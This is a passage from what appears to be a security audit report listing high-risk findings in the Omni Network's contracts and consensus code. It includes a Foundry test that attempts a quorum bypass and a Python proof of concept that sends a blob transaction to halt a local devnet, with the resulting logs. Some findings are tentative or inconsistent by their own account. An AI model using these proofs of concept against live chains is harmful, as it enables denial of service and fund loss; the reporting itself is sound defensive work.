        XTypes.Validator[] memory validators = new XTypes.Validator[](1);
        validators[0] = XTypes.Validator({
            addr: attacker,
```

```
        power: 100
    });
    portal.addValidatorSet(1, validators);
}

function testBypassWithInvalidQuorumRatio() public {
    // Create minimal valid submission
    XTypes.Submission memory submission = createMaliciousSubmission();

    // Try to bypass quorum with invalid ratio (1/3)
    vm.expectRevert("OmniPortal: no quorum");
    portal.xsubmit(submission);

    // Now try to bypass quorum with 0/1 ratio (0% required)
    submission.signatures[0].signature = bytes("");
    portal.xsubmit(submission);
}

function testBypassWithZeroDenominator() public {
    // Create minimal valid submission
    XTypes.Submission memory submission = createMaliciousSubmission();

    // Try to bypass quorum with zero denominator
    submission.signatures[0].signature = bytes("");
    vm.expectRevert(divide_by_zero.selector);
    portal.xsubmit(submission);
}

function createMaliciousSubmission() internal returns (XTypes.Submission memory) {
    // 1. Create minimal valid block header
    XTypes.BlockHeader memory header = XTypes.BlockHeader({
        sourceChainId: 1,
        consensusChainId: 1,
        blockNumber: 1,
        blockHash: bytes32(0),
        timestamp: uint64(block.timestamp),
        stateRoot: bytes32(0),
        messageRoot: bytes32(0)
    });

    // 2. Create minimal valid message array
    XTypes.Msg[] memory msgs = new XTypes.Msg[](1);
    msgs[0] = XTypes.Msg({
        sender: address(this),
        recipient: address(this),
        data: "",
        gasLimit: 100000
    });

    // 3. Create attestation root (any bytes32 will work)
    bytes32 attestationRoot = keccak256("malicious_root");

    // 4. Create signature from the single validator
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(uint256(attacker), attestationRoot);
    XTypes.SigTuple[] memory sigs = new XTypes.SigTuple[](1);
    sigs[0] = XTypes.SigTuple({
        validatorAddr: attacker,
        signature: abi.encodePacked(r, s, v)
    });

    // 5. Create proof (any valid merkle proof structure will work)
    bytes32[] memory proof = new bytes32[](1);
    proof[0] = bytes32(0);
    bool[] memory proofFlags = new bool[](1);
    proofFlags[0] = true;

    return XTypes.Submission({
        validatorSetId: 1,
        blockHeader: header,
        msgs: msgs,
        attestationRoot: attestationRoot,
        signatures: sigs,
        proof: proof,
        proofFlags: proofFlags
    });
}
```

```
}
```

- Recommendation (optional)

To address this vulnerability, the Quorum.verify() function should add the following checks to ensure the quorum ratio is properly defined:

```
require(denominator > numerator, "Invalid quorum ratio");
require(numerator > 0, "Numerator must be positive");
require(denominator > 0, "Denominator must be positive");
```

3.2.46 Blob transactions can halt the chain

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

One of the major changes in the Engine API V3 is the handling of blobs. Specifically, now the payload returned from `engine_getPayloadV3` after calling `engine_forkchoiceUpdatedV3` called by the proposer will include a new `blobHashes` field. Any blob transaction submitted will contribute to this field.

This `blobHashes` field in the `ExecutionPayload` must match the `versionedHashes` field when passed to the Engine API, or a validation error will be returned. But the problem is in `ProcessProposal()` always supplies an empty `versionedHashes` field.

```
// pushPayload pushes the provided execution data as a possible new head to the execution client.
// It returns the engine payload status or an error.
func pushPayload(ctx context.Context, engineCl ethclient.EngineClient, payload engine.ExecutableData)
↪  (engine.PayloadStatusV1, error) {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    appHash, err := cast.EthHash(sdkCtx.BlockHeader().AppHash)
    if err != nil {
        return engine.PayloadStatusV1{}, err
    } else if appHash == (common.Hash{}) {
        return engine.PayloadStatusV1{}, errors.New("app hash is empty")
    }

    emptyVersionHashes := make([]common.Hash, 0) // Cannot use nil.

    // Push it back to the execution client (mark it as possible new head).
    status, err := engineCl.NewPayloadV3(ctx, payload, emptyVersionHashes, &appHash)
    if err != nil {
        return engine.PayloadStatusV1{}, errors.Wrap(err, "new payload")
    }

    return status, nil
}
```

Hence, when a blob transaction is submitted, during `PrepareProposal()` as the honest proposers engine will become corrupted and build blocks that get rejected by the chain. And the chain will come to a halt as the Omni validators are not able to handle these blocks.

- Proof Of Concept

The following Python script will make a blob transaction which will bring down the local Omni devnet, leading to it not being able to confirm anymore blocks.

```
import os

from eth_abi import abi
from eth_utils import to_hex
from web3 import HTTPProvider, Web3

def send_blob():
    rpc_url = "http://127.0.0.1:8000"
    private_key = "0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97"
    w3 = Web3(HTTPProvider(rpc_url))

    text = "<( o.O )>"
    encoded_text = abi.encode(["string"], [text])
```

```
    print("Text:", encoded_text)

    # Blob data must be comprised of 4096 32-byte field elements
    # So yeah, blobs must be pretty big
    BLOB_DATA = (b"\x00" * 32 * (4096 - len(encoded_text) // 32)) + encoded_text

    acct = w3.eth.account.from_key(private_key)

    tx = {
        "type": 3,
        "chainId": 1651,  # Anvil
        "from": acct.address,
        "to": "0x0000000000000000000000000000000000000000",
        "value": 0,
        "maxFeePerGas": 10**12,
        "maxPriorityFeePerGas": 10**12,
        "maxFeePerBlobGas": to_hex(10**12),
        "nonce": w3.eth.get_transaction_count(acct.address),
    }

    gas_estimate = w3.eth.estimate_gas(tx)
    tx["gas"] = gas_estimate

    signed = acct.sign_transaction(tx, blobs=[BLOB_DATA])

    print("Signed Transaction:", signed, "\n")

    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    print(f"Tx receipt: {tx_receipt}")


def main() -> int:
    send_blob()
    return 0


if __name__ == "__main__":
    main()
```


The logs:

```
24-11-03 12:14:00.704 WARN Halo consensus height is not increasing  height=56
24-11-03 12:14:00.704 ERRO Attached omni evm has 0 peers
24-11-03 12:14:00.946 DEBU  ABCI call: PrepareProposal            height=57 proposer=2679b0b
24-11-03 12:14:00.946 DEBU Using optimistic payload                 height=57 payload=0x0344f1dbf7f3d82e
24-11-03 12:14:00.958 INFO Proposing new block                      height=57 execution_block_hash=30040c9
↪  vote_msgs=1 evm_events=0
24-11-03 12:14:00.996 DEBU  ABCI call: ProcessProposal            height=57 proposer=2679b0b
24-11-03 12:14:00.998 DEBU Marked local votes as proposed           votes=3 1655="[11 17]" 1001651=[7]
24-11-03 12:14:01.008 ERRO Rejecting process proposal               err="execute message: invalid payload,
↪  rejecting proposal: payload invalid" validation_err="invalid number of versionedHashes: [] blobHashes:
↪  [0x016d0309f21937f8bf717228adae8e58d8b02db583bb1503f334f0bd9dd637af]" last_valid_hash=nil
↪  stacktrace="[errors.go:14 msg_server.go:221 proposal_server.go:35 helpers.go:30 proposal_server.go:27
↪  tx.pb.go:340 msg_service_router.go:175 tx.pb.go:342 msg_service_router.go:198 prouter.go:78 abci.go:520
↪  cmt_abci.go:40 abci.go:85 local_client.go:164 app_conn.go:89 execution.go:166 state.go:1381 state.go:1338
↪  state.go:2055 state.go:910 state.go:856 asm_amd64.s:1700]"
24-11-03 12:14:01.008 ERRO prevote step: state machine rejected a proposed block; this should not happen:the
↪  proposer may be misbehaving; prevoting nil module=consensus height=57 round=11 err=<nil>
24-11-03 12:14:02.343 DEBU  Created vote for cross chain block    chain=mock_op|F height=50 offset=20 msgs=0
24-11-03 12:14:03.381 DEBU  Created vote for cross chain block    chain=mock_arb|F height=110 offset=20 msgs=0
24-11-03 12:14:05.426 DEBU  Created vote for cross chain block    chain=mock_arb|L height=120 offset=21 msgs=0
24-11-03 12:14:06.276 DEBU  Created vote for cross chain block    chain=mock_op|L height=60 offset=22 msgs=0
24-11-03 12:14:07.550 DEBU  ABCI call: PrepareProposal            height=57 proposer=2679b0b
24-11-03 12:14:07.551 DEBU Using optimistic payload                 height=57 payload=0x0344f1dbf7f3d82e
24-11-03 12:14:07.563 INFO Proposing new block                      height=57 execution_block_hash=30040c9
↪  vote_msgs=1 evm_events=0
24-11-03 12:14:07.602 DEBU  ABCI call: ProcessProposal            height=57 proposer=2679b0b
24-11-03 12:14:07.603 DEBU Marked local votes as proposed           votes=3 1001651=[7] 1655="[11 17]"
24-11-03 12:14:07.615 ERRO Rejecting process proposal               err="execute message: invalid payload,
↪  rejecting proposal: payload invalid" validation_err="invalid number of versionedHashes: [] blobHashes:
↪  [0x016d0309f21937f8bf717228adae8e58d8b02db583bb1503f334f0bd9dd637af]" last_valid_hash=nil
↪  stacktrace="[errors.go:14 msg_server.go:221 proposal_server.go:35 helpers.go:30 proposal_server.go:27
↪  tx.pb.go:340 msg_service_router.go:175 tx.pb.go:342 msg_service_router.go:198 prouter.go:78 abci.go:520
↪  cmt_abci.go:40 abci.go:85 local_client.go:164 app_conn.go:89 execution.go:166 state.go:1381 state.go:1338
↪  state.go:2055 state.go:910 state.go:856 asm_amd64.s:1700]"
24-11-03 12:14:07.615 ERRO prevote step: state machine rejected a proposed block; this should not happen:the
↪  proposer may be misbehaving; prevoting nil module=consensus height=57 round=12 err=<nil>
```

- Recommendation

Handle the blobs appropriately.

3.2.47 Missing Topics Length Validation in EVMEvent Verification

Severity: High Risk

Context: tx.go#L42

- Missing Topics Length Validation in EVMEvent Verification
- Title Malicious actors will cause resource exhaustion through unlimited Topics in EVMEvent
- Summary The missing length validation in EVMEvent.Verify() will cause potential DoS attacks for node operators as attackers can create events with unlimited Topics.
- Root Cause In the EVMEvent.Verify() function, the validation only checks for empty Topics but fails to enforce the EVM's 4-topic limit:

```go
func (l *EVMEvent) Verify() error {
    // Only checks for empty topics
    if len(l.Topics) == 0 {
        return errors.New("empty topics")
    }
    // Missing maximum length check
    // Should have: if len(l.Topics) > 4 {
    //    return errors.New("too many topics")
    // }
    ...
}
```

- Internal pre-conditions

1. EVMEvent.Verify() function is called with an event containing more than 4 Topics
2. The system processes and stores these events without Topic length validation

- External pre-conditions None required for this vulnerability
- Attack Path:

1. Attacker creates an EVMEvent with a large number of Topics (e.g., 1000)
2. The event passes through EVMEvent.Verify() as it only checks for non-empty Topics
3. System attempts to process and store this oversized event
4. Memory usage increases unnecessarily due to processing excessive Topics
5. When multiple such events are created, system resources become strained

- Impact The node operators suffer from:

1. Increased memory consumption
2. Higher storage requirements
3. Potential system crashes
4. Degraded performance when processing events

This is a DoS vulnerability that affects system stability and resource utilization.

- Mitigation Add maximum Topics length validation in the Verify() function:

```
func (l *EVMEvent) Verify() error {
    if l == nil {
        return errors.New("nil log")
    }
    if len(l.Topics) == 0 {
        return errors.New("empty topics")
    }
    // Add maximum length check
    if len(l.Topics) > 4 {
        return errors.New("too many topics")
    }
    if len(l.Address) != len(common.Address{}) {
        return errors.New("invalid address length")
    }
    for _, t := range l.Topics {
        if len(t) != len(common.Hash{}) {
            return errors.New("invalid topic length")
        }
    }
    return nil
}
```


3.2.48 Staking.sol has no function to withdraw sent tokens

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

Ether is sent to Staking contract when validator is created, and delegated. But the contract lacks a function to withdraw the tokens, leading to fund loss.

```
function createValidator(bytes calldata pubkey) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
    require(pubkey.length == 33, "Staking: invalid pubkey length");
    require(msg.value >= MinDeposit, "Staking: insufficient deposit");

    emit CreateValidator(msg.sender, pubkey, msg.value);
}

/**
 * @notice Increase your validators self delegation.
 *         NOTE: Only self delegations to existing validators are currently supported.
 *         If msg.sender is not a validator, the delegation will be lost.
 * @dev Proxies x/staking.MsgDelegate
 */
function delegate(address validator) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
    require(msg.value >= MinDelegation, "Staking: insufficient deposit");

    // only support self delegation for now
    require(msg.sender == validator, "Staking: only self delegation");

    emit Delegate(msg.sender, validator, msg.value);
}
```

- Recommendation

Introduce an owner protected function to withdraw the tokens.

3.2.49 The validator can submit the msgs in failed block of xchain to EVM OmniPortal

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

Suppose 3N + 1 validators is in the cross chain

In order for the block to be approved at the `Precommit` stage, `2N + 1` validators must approve.

At this time, if only `2N` validators are approved for some reason, that block will fail and a new block will be proposed in the next round.

Let's say there is a malicious validator `A` among validators that do not belong to the `2N` validators signed.

This malicious validator can generate signature information for the failed block. Of course, this is not passed on to the network.

In this way, validatorA can obtain `2N + 1` sigs.

ValidatorA may obtain signature information of `2N + 1`, `attestationRoot` of failed blocks, `msgs`, and all information necessary to call `OmniPortal.xsubmit` function.

This means that before the block fails and the new round starts, malicious validatorA can call the `OmniPortal.xsubmit` function with msg in the failed block.

- Damage.
- 1. Invalid msg is delivered to EVM and can lead to actual financial loss.

If this msg is an msg that adds a new `valSetId`, an attacker can set up a very large power to allow any msg to pass through with a single validator signature.

All subsequent valid msgs will fail because they do not satisfy the 2/3 condition.

- 2. In the next round, a valid msg with the same offset will fail to call the `xsubmit` function.

The source chain can result in the loss of user funds.

- 3. If a valid msg is included in several msg and used to call the `xsubmit` function, all other msg will fail for two reasons.

Then `inXMsgOffset` will no longer increase and all msg will fail. This means the bankruptcy of the project.

- Proof of Concept
- Recommendation

3.2.50 Data Location Mismatch in `setNetwork` Blocks Essential Cross-Chain Network Updates

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary In the `setNetwork` function of the Omni Protocol's `OmniPortal.sol` contract, a data location error prevents successful network configuration updates. This function is designed to update the supported `chains` and `shards` on each portal, a critical operation for enabling accurate cross-chain message routing. However, due to improper handling of data locations, the code attempts to push `calldata` elements directly into a `storage` array—an operation that Solidity does not allow. As a result, the function fails to execute, obstructing essential network updates and potentially leading to inconsistencies across portals in cross-chain routing operations. This issue significantly impacts the reliability of cross-chain functionality by blocking portals from synchronizing their network views with the `Consensus Chain`.
- Finding Description

The `setNetwork` function in `OmniPortal.sol` is part of a system of cross-chain messages (`sysxcalls`) that are relayed and executed across portals. Specifically, `setNetwork` allows the `Omni Consensus Chain` to set or update the supported networks (`chains` and `shards`) on each portal, crucial for the contract's cross-chain message routing capabilities.

This function receives a list of chains (in the form of an array of `XTypes.Chain`) and updates the contract's state to reflect which `chains` and `shards` are supported for cross-chain operations.

Here's the main structure of the `setNetwork` function:

```
function setNetwork(XTypes.Chain[] calldata network_) external {
    require(msg.sender == address(this), "OmniPortal: only self");
    require(_xmsg.sourceChainId == omniCChainId, "OmniPortal: only cchain");
    require(_xmsg.sender == CChainSender, "OmniPortal: only cchain sender");
    _setNetwork(network_);
}
```


The actual logic for setting the network is handled in the internal `_setNetwork` function:

```
function _setNetwork(XTypes.Chain[] calldata network_) internal {
    _clearNetwork();

    XTypes.Chain calldata c;
    for (uint256 i = 0; i < network_.length; i++) {
        c = network_[i];
        _network.push(c);

        if (c.chainId != chainId()) {
            isSupportedDest[c.chainId] = true;
            continue;
        }

        for (uint256 j = 0; j < c.shards.length; j++) {
            isSupportedShard[c.shards[j]] = true;
        }
    }
}
```

Inside `_setNetwork`:

1. `_clearNetwork()` is called to reset the existing network configuration.
2. The function iterates through `network_`, pushing each chain to `_network` and updating `isSupportedDest` and `isSupportedShard` mappings based on whether the chain matches the current `chain ID`.

The vulnerability lies in the internal `_setNetwork` function particularly in these lines:

```
function _setNetwork(XTypes.Chain[] calldata network_) internal {
        // .....
 XTypes.Chain calldata c;
    for (uint256 i = 0; i < network_.length; i++) {
        c = network_[i];
        _network.push(c);
        // .....
```

Herenetwork_ is passed as calldata to the function, meaning network_[i] is a calldata element.

The line XTypes.Chain calldata c = network_[i]; creates a reference to each chain element from network_, but since network_ is declared as calldata, cis also in calldata, meaning it is an immutable, read-only reference to each element of network_.

Now line _network.push(c); attempts to add c (a calldata variable) directly to the _network storage array, which Solidity does not allow directly. When you try to push a calldata reference directly to a storage array, you're attempting to mix two different data locations.

The network.push(c); line fails because Solidity does not implicitly allow copying from calldata to storage, as calldata is meant to be read-only and is not intended to interact directly with persistent storage.

Solidity requires an intermediate copy of the data in memory before being pushed to a storage array. This restriction prevents potential vulnerabilities and ensures the integrity of the storage array.

- Impact Explanation

The network configuration is a fundamental part of the OmniPortal contract, and corrupting it would break the core cross-chain message routing. Since sysxcalls from the Consensus Chain, including setNetwork, are the only means for updating portal network configurations, this vulnerability effectively blocks any network updates. Without functional setNetwork sysxcalls through xcall invocations, portals risk becoming out of sync with the consensus chain, and may inadvertently send cross-chain messages that fail or are not properly routed.

- Likelihood Explanation

The likelihood of this vulnerability impacting the Omni Protocol is high, as the setNetwork function plays an essential role in updating and synchronizing network configurations across all portals. This function relies on syscalls from the Consensus Chain, which are expected to be periodically invoked to keep the network configuration current. Since setNetwork cannot execute due to the data location error, each portal is unable to receive and apply new network updates. This causes an immediate and noticeable disruption in cross-chain message routing and portal synchronization.

- Recommendation

The solution involves creating a temporary memory copy of c before pushing it to the _network storage array. The fixed code would look like this:

```
XTypes.Chain memory c = network_[i];  // Create a memory copy
_network.push(c);                     // Now we can push memory to storage
```

By copying c to memory first, we bridge the gap between calldata and storage. This allows the network.push(c); line to work without any issues, as memory data can be assigned to storage.

3.2.51 Calling the system time in PrepareProposal Function may be a possible source of non-determinism

Severity: High Risk

Context: abci.go#L84

- Unsafe Time Source in PrepareProposal Function
- Title Malicious actors will manipulate block processing by controlling local node time
- Summary The use of time.Now() instead of consensus time in PrepareProposal will cause timing inconsistencies across nodes as attackers can manipulate their local system time, potentially leading to consensus failures.
- Root Cause In PrepareProposal, the function uses local system time instead of consensus time:

```
triggeredAt = time.Now() // Unsafe: uses local system time
// Should use consensus time:
// triggeredAt = req.Time // Time from consensus
```

- Internal pre-conditions

1. Node's system time can be manipulated
2. Node is participating in block proposal

- Attack Path:

1. Attacker controls a validator node
2. Attacker manipulates their system time
3. When the node acts as proposer:
    - triggeredAt is set to manipulated time
    - This affects payload creation timing
4. Different nodes might process blocks differently due to time inconsistency

- Impact The protocol suffers from:

1. Inconsistent payload timing across nodes
2. Potential consensus failures
3. Block processing irregularities
4. Possible replay protection issues

This is a consensus vulnerability that affects network synchronization and block processing reliability.

- Mitigation Use consensus time from the request instead of local system time:

```
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
    *abci.ResponsePrepareProposal, error,
) {
    // ...

    if uint64(req.Height) != height {
        // Create new payload...

        // Use consensus time instead of local time
        triggeredAt = req.Time // Safe: uses consensus time
    }

    // ...
}
```

This ensures that:

1. All nodes use the same time source
2. Time values are consistent across the network
3. Block processing is deterministic
4. Local time manipulation cannot affect consensus

3.2.52 `valsync.EndBlock` does not check if the validator is Bonded

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

Inside the Cosmos SDK, the validator status may be:

- Unspecified
- Unbonded
- Unbonding
- Bonded

Only validators with a Bonded status can participate in validation. However, The `valsync.EndBlock` does not filter out non-Bonded validators, which causes non-Bonded validators to be submitted to the `OmniPortal` contract.

- Finding Description

The `valsync.maybeStoreValidatorUpdates` function code is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/valsync/keeper/keeper.go#L117-L150
func (k *Keeper) maybeStoreValidatorUpdates(ctx context.Context, updates []abci.ValidatorUpdate) error {
    if len(updates) == 0 {
        return nil
    }

    valset, err := k.sKeeper.GetLastValidators(ctx)
    if err != nil {
        return errors.Wrap(err, "get last validators")
    } else if len(valset) == 0 {
        return errors.New("empty validator set")
    }

    merged, err := mergeValidatorSet(valset, updates)
    if err != nil {
        return errors.Wrap(err, "merge validator set")
    }

    valsetID, err := k.insertValidatorSet(ctx, merged, false)
    if err != nil {
        return errors.Wrap(err, "insert updates")
    }

    stats := setStats(merged)
    log.Info(ctx, " Storing new unattested validator set",
        "valset_id", valsetID,
        "len", stats.TotalLen,
        "updated", stats.TotalUpdated,
        "removed", stats.TotalRemoved,
        "total_power", stats.TotalPower,
        "height", sdk.UnwrapSDKContext(ctx).BlockHeight(),
    )

    return nil
}
```

In the above code, there is no check whether the validator is Bonded. That is, all validators will be submitted to the `OmniPortal` contract. This causes the `OmniPortal` contract to be inconsistent with the validators actually participating in the verification.

- Impact Explanation

High. This would result in the `OmniPortal` contract having an incorrect set of validators.

- Likelihood Explanation

High. It will almost certainly happen.

- Recommendation

It is recommended to filter out non-Bonded validators.

3.2.53 The `attest.VerifyVoteExtension` allows validators to not vote on xchain messages

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

Omni validators will sign cross-chain messages (hereinafter referred to as xchain messages). Anyone with more than 2/3 of the signatures can execute xchain messages. These signatures are attached to CometBFT's Vote Extension to be verified by the consensus layer.

However, the problem is that the Omni consensus layer allows validators to submit an empty Vote Extension. This means that validators are allowed not to vote on any xchain messages.

- Finding Description

The `attest.VerifyVoteExtension` function code is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/attest/ke
↪  eper/keeper.go#L748-L818
func (k *Keeper) VerifyVoteExtension(ctx sdk.Context, req *abci.RequestVerifyVoteExtension) (
    *abci.ResponseVerifyVoteExtension, error,
) {
--snip--

    votes, ok, err := votesFromExtension(req.VoteExtension)
    if err != nil {
        log.Warn(ctx, "Rejecting invalid vote extension", err)
        return respReject, nil
A>  } else if !ok {
A>      return respAccept, nil
    } else if umath.Len(votes.Votes) > k.voteExtLimit {
        log.Warn(ctx, "Rejecting vote extension exceeding limit", nil, "count", len(votes.Votes), "limit",
↪  k.voteExtLimit)
        return respReject, nil
    }

--snip--
}
```

Please see code A above. When `req.VoteExtension` is empty, the return `ok` of `votesFromExtension` function is `false`. Then `VerifyVoteExtension` will return `Accept`.

- Impact Explanation

High. If validators do not vote on xchain messages, the user's xchain messages cannot be executed and the user's funds may be lost.

- Likelihood Explanation

Medium. Validators are not required to vote on xchain messages. To save computation and resource consumption, validators can ignore all xchain messages.

- Recommendation

Require validators to vote on xchain messages.

3.2.54 Funds Locked in `claimable` Balance on failed withdrawal in `OmniBridgeNative.withdraw`

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Finding Description

Bridging balance from OmniBridgeL1 to OmniBridgeNative are not returned to the user even after the `claim()`, retry fails and the remaining balance is not refunded to the user.

The `bridge(...)` on OmniBridgeL1 triggers a transaction via the `omni.xcall` , which invokes the `withdraw(...)` on OmniBridgeNative. The `withdraw(...)` attempts to transfer the funds to the user.

- If this transfer fails due to network congestion or other factors, the transferred amount is added to a claimable balance mapped to the user's address because there is no way to automatically refund the user's balance.
- when a claim attempt fails. the claim is marked as successful, funds are added to the claimable balance, but inaccessible, no way to follow up if an attempt to withdraw from this balance fails. Users may find themselves unable to access the funds on subsequent retries.

https://github.com/omni-network/omni/blob/main/contracts/core/src/token/OmniBridgeL1.sol#L81-L107 https://github.com/omni-network/omni/blob/main/contracts/core/src/token/OmniBridgeNative.sol#L95-L112 https://github.com/omni-network/omni/blob/main/contracts/core/src/token/OmniBridgeNative.sol#L158-L175

- Impact

Users who attempt to withdraw OMNI from OmniBridgeL1 to OmniBridgeNative may lose their funds because There's no mechanism to automatically refund the user's balance if the transaction fails due to network congestion or other factors.

‘function claim(address to) external whenNotPaused(ACTION_WITHDRAW) { XTypes.MsgContext memory xmsg = omni.xmsg();

```
    require(msg.sender == address(omni), "OmniBridge: not xcall");
    require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
    require(to != address(0), "OmniBridge: no claim to zero");

    address claimant = xmsg.sender;
    require(claimable[claimant] > 0, "OmniBridge: nothing to claim");

    uint256 amount = claimable[claimant];
    claimable[claimant] = 0;

    (bool success,) = to.call{ value: amount }("");
    require(success, "OmniBridge: transfer failed");

    emit Claimed(claimant, to, amount);
}`
```

- Proof of Concept

For example: bridge(...) is called on OmniBridgeL1.sol with 90,000 OMNI token by the user, then relayer calls the withdraw function on the OmniBridgeNative.sol. When withdraw fails relayer calls claim function then claim also fails. Remaining of the 90,000 OMNI tokens is not sent back to the user.

- Recommendation

Consider Implementing a Retrial method In OmniBridgeNative, implement a mechanism that allows users to retry `claim()` until the transfer succeeds.

3.2.55 Validators will not extend votes with wrong cross-chain blocks votes if consensus enters a new proposal round

Severity: High Risk

Context: proposal_server.go#L37

- Summary If the consensus chain enters a second or third consensus round for a given consensus block height, or fails to reach a consensus at round 0, all validators will extend their votes in the new round with their `available` attestations for cross-chain blocks with the next offset. As a result, if this next consensus round passes, attestations with the previous offset to the approved one will be discarded and never relayed as they are later pruned from the Voter's cache and this way failing to relay cross-chain messages, possibly causing loss of funds for users.

The CometBFT documentation itself warns of that:

> `PrepareProposal`/`ProcessProposal` can be called many times for a given height. Moreover, it is not possible to accurately predict which of the blocks proposed in a height will be decided, being delivered to the Application in that height's block execution calls.

- Description When a validator is asked to vote in the PreCommit phase of a round, they attach their locally stored votes for cross-chain blocks as an extension to their consensus proposal vote. The problem is that the Voter moves its `available` votes which it uses when asked to extend their vote in `ExtendVote` to the `proposed` locally stored votes. If the network fails to reach a consensus at the very first round, though, validators will enter a new voting round and the whole proposal process will repeat from the very beginning:

1. Pick a new validator to propose a block.
2. All validators vote in the PreVote phase of the round.
3. If 2/3 of the validators accept the proposal, the PreCommit phase of a round is entered.
4. If 2/3 of the validators accept the proposal, the block is added to the canonical chain and is propagated to all nodes connected to the network.

If the network fails to reach a consensus at the PreCommit phase, however, in the new round for the current proposal validators will have no `available` votes as it moved it to the `proposed` locally stored slice of votes. Now in the next consensus round for the same block height, the Voter will attach up to `voteExtLimit` of its next `available` attestations for cross-chain blocks, but these will most probably be with with the next attest offset and for the next observed cross-chain blocks by the nodes in the network.

Here we can see the voter only goes through its `available` votes when crafting the vote extensions:

```
// ExtendVote extends a vote with application-injected data (vote extensions).
func (k *Keeper) ExtendVote(ctx sdk.Context, _ *abci.RequestExtendVote) (*abci.ResponseExtendVote, error) {
    cChainID, err := netconf.ConsensusChainIDStr2Uint64(ctx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
    }

   votes := k.voter.GetAvailable() // @audit the votes extensions commited in the previous round are not
↪  available here now

    // Filter by vote window and if limited exceeded.
    countsByChainVer := make(map[xchain.ChainVersion]int)
    duplicate := make(map[xchain.AttestHeader]bool)
    var filtered []*types.Vote
    for _, vote := range votes {
    // ... process vote for X chain block and append it to filtered
  }

    // ...
    bz, err := proto.Marshal(&types.Votes{
        Votes: filtered,
    })

    // ...

    log.Info(ctx, "Voted for rollup blocks", attrs...)

    return &abci.ResponseExtendVote{
        VoteExtension: bz,
    }, nil
}
```

The Attest module's `AddVotes` method is called within `ProcessProposal` and after verifying the aggregated votes, it moves them to the `proposed` slice in the Voter's cache.

```
func (s proposalServer) AddVotes(ctx context.Context, msg *types.MsgAddVotes,
) (*types.AddVotesResponse, error) {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    consensusID, err := netconf.ConsensusChainIDStr2Uint64(sdkCtx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
    }

    // Verify proposed msg
    valset, err := s.prevBlockValSet(ctx)
    if err != nil {
        return nil, errors.Wrap(err, "fetch validators")
    } else if err := s.verifyAggVotes(ctx, consensusID, valset, msg.Votes, s.windowCompare); err != nil {
        return nil, errors.Wrap(err, "verify votes")
    }

    localHeaders := headersByAddress(msg.Votes, s.voter.LocalAddress())
    logLocalVotes(ctx, localHeaders, "proposed")
    // @audit Move the available votes we used as extensions to the `proposed` slice
   if err := s.voter.SetProposed(localHeaders); err != nil {
        return nil, errors.Wrap(err, "set committed")
    }

    return &types.AddVotesResponse{}, nil
}
```

- Impact When the consensus chain enters a new round of voting, validators will attach vote extensions with votes for non-sequential cross-chain blocks. This make validators skip over attesting cross-chain blocks and effectively not attest to the cross chain blocks that were voted for in the previous voting round of the current block proposal. Due to the limited time we have on our hands to submit this bug, we are not entirely confident but we think that'd at least lead to loss of funds for users as the relayer will refuse to relay blocks with non-consequential attest offsets. At worst, we suspect, consensus might be affected due to validators proposing differentiating extensions (votes for cross-chain) and thus failing to reach consensus on the proposed block.
- Proof of Concept

1. Consensus enters block proposal at round 0.
2. All validators vote and extend their votes with their `available` votes for cross-chain blocks with attest offset 0 in the `PreCommit` phase.
3. The proposal at round 0, however, fails at the `PreCommit`.
4. The consensus proposal fails at the PreCommit phase. However, validators have moved their `available` votes for the cross-chain blocks with attest offset 0 to their `proposed` locally stored votes when `ProcessProposal` was called on them.
5. The current proposal voting enters a new round - 1.
6. Now validators vote again but extend their votes with the `available` votes for cross-chain blocks that now have attest offset of 1 due to point 4.
7. Blocks for attestation offsets 0 were failed to be voted for and are not included in the consensus chain, hence cross-chain messages from them are not relayed, causing loss of funds for users or any other inconveniences in general.

- Recommendation Move `available` votes to `commited` directly only after the current proposal is finalized and included in the consensus chain. The locally stored `proposed` votes serve no meaningful purpose anyway

3.2.56 Attest module keeper uses an incorrect validator set in `EndBlock`, which may lead to Cchain halt or consensus split

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

Currently, a attestation is validated three times in its life circle:

1. Octane's ABCI method `PrepareProposal`, which ask `Attest` module to `PrepareVotes`:

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/octane/evmengine/keeper/abci.go#L121-L125


```
    // First, collect all vote extension msgs from the vote provider.
    voteMsgs, err := k.voteProvider.PrepareVotes(ctx, req.LocalLastCommit)
    if err != nil {
        return nil, errors.Wrap(err, "prepare votes")
    }
```

Attest module uses `abci.ExtendedCommitInfo` to determin which validator set should be used to validate quroum:

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/cpayload.go#L33

```
func (k *Keeper) PrepareVotes(ctx context.Context, commit abci.ExtendedCommitInfo) ([]sdk.Msg, error) {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    if err := baseapp.ValidateVoteExtensions(sdkCtx, k.skeeper, sdkCtx.BlockHeight(), sdkCtx.ChainID(),
↪   commit); err != nil {
        return nil, errors.Wrap(err, "validate extensions [BUG]")
    }

    ...
```

According to Cosmos doc, `abci.ExtendedCommitInfo` is a trusted value sent by a trusted cometBFT, and reflect **current** validator set.

2. Attest module's ABCI method `EndBlock`, to make sure the block is ready to be finialized:

